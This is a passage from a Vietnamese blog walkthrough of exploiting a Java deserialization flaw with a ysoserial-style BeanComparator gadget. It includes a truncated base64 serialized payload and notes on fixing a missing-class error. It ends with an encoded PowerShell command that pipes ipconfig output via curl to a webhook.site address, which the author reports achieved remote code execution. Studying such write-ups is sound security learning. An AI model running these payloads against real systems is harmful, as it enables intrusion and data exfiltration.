WNrTWFwVGFibGUBAB15c29zZXJpYWwvUHduZXIxMzEyNzA3MjYzODUwMAEAH0x5c29zZXJpYWwvUHduZXIxMzEyNzA3MjYzODUwMDsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB+ABAAAAHUyv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==");
    }
}
```

Ta nhân được lỗi là không tìm được class `org.apache.commons.collections.comparators.ComparableComparator`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1731757025382/16c10f88-f18d-4b3a-8083-c1e194cd45c8.png align="center")

Tuy nhiên code gen payload của chúng ta mới chỉ sử dụng `import org.apache.commons.beanutils.BeanComparator`, nên rất có thể `BeanComparator` đã thực hiện import `org.apache.commons.collections.comparators.ComparableComparator` nhưng không thành.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1731758187956/cda53338-b2b7-446a-ba23-2396bbbcea49.png align="center")

Thật vậy, nhảy vào class `BeanComparator` , ta phát hiện ra `BeanComparator` đã thực hiện import `org.apache.commons.collections.comparators.ComparableComparator`. nhưng `commons-collections4-4.3.jar` lại chỉ có packet `org.apache.commons.collections4`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1731758705194/157673e5-b136-479b-b5f1-17dc64072caf.png align="center")

Bước 3: Gen lại payload (this.data) + kiểm tra việc thực thi

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1731759543683/f60c2ae4-7b75-478e-884e-1ff1fe32b23f.png align="center")

Bước 4: Tạo Payload để endgame. Không rõ vì sao payload `calc.exe` chạy ở máy attacker thì đc máy server k được nên mình quyết định dùng payload

```plaintext
powershell.exe -e YwBtAGQALgBlAHgAZQAgAC8AYwAgACIAaQBwAGMAbwBuAGYAaQBnACAAfAAgAGMAdQByAGwAIAAtAFgAIABQAE8AUwBUACAAIAAtAC0AZABhAHQAYQAtAGIAaQBuAGEAcgB5ACAAQAAtACAAaAB0AHQAcABzADoALwAvAHcAZQBiAGgAbwBvAGsALgBzAGkAdABlAC8AYgAxADcANgA3ADAANgA3AC0AMwA2ADEAMwAtADQAMAAzAGMALQBhADkAOQA0AC0AMwBlADUAYQA1ADIANQAxADEANABkADAAIgA=
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1731769735705/1fd04a1e-2942-4794-ba93-a677c95f3fb9.png align="center")

Sau khi gửi payload tới server, RCE thành công

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1731770914326/4dc7a900-df9a-4d35-9510-f386862761f1.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1731770928525/7d152d97-36d5-49a9-8d2f-9b61ac0d8350.png align="center")

---

Cảm ơn ông anh K4it0 đã hướng dẫn thằng em👌
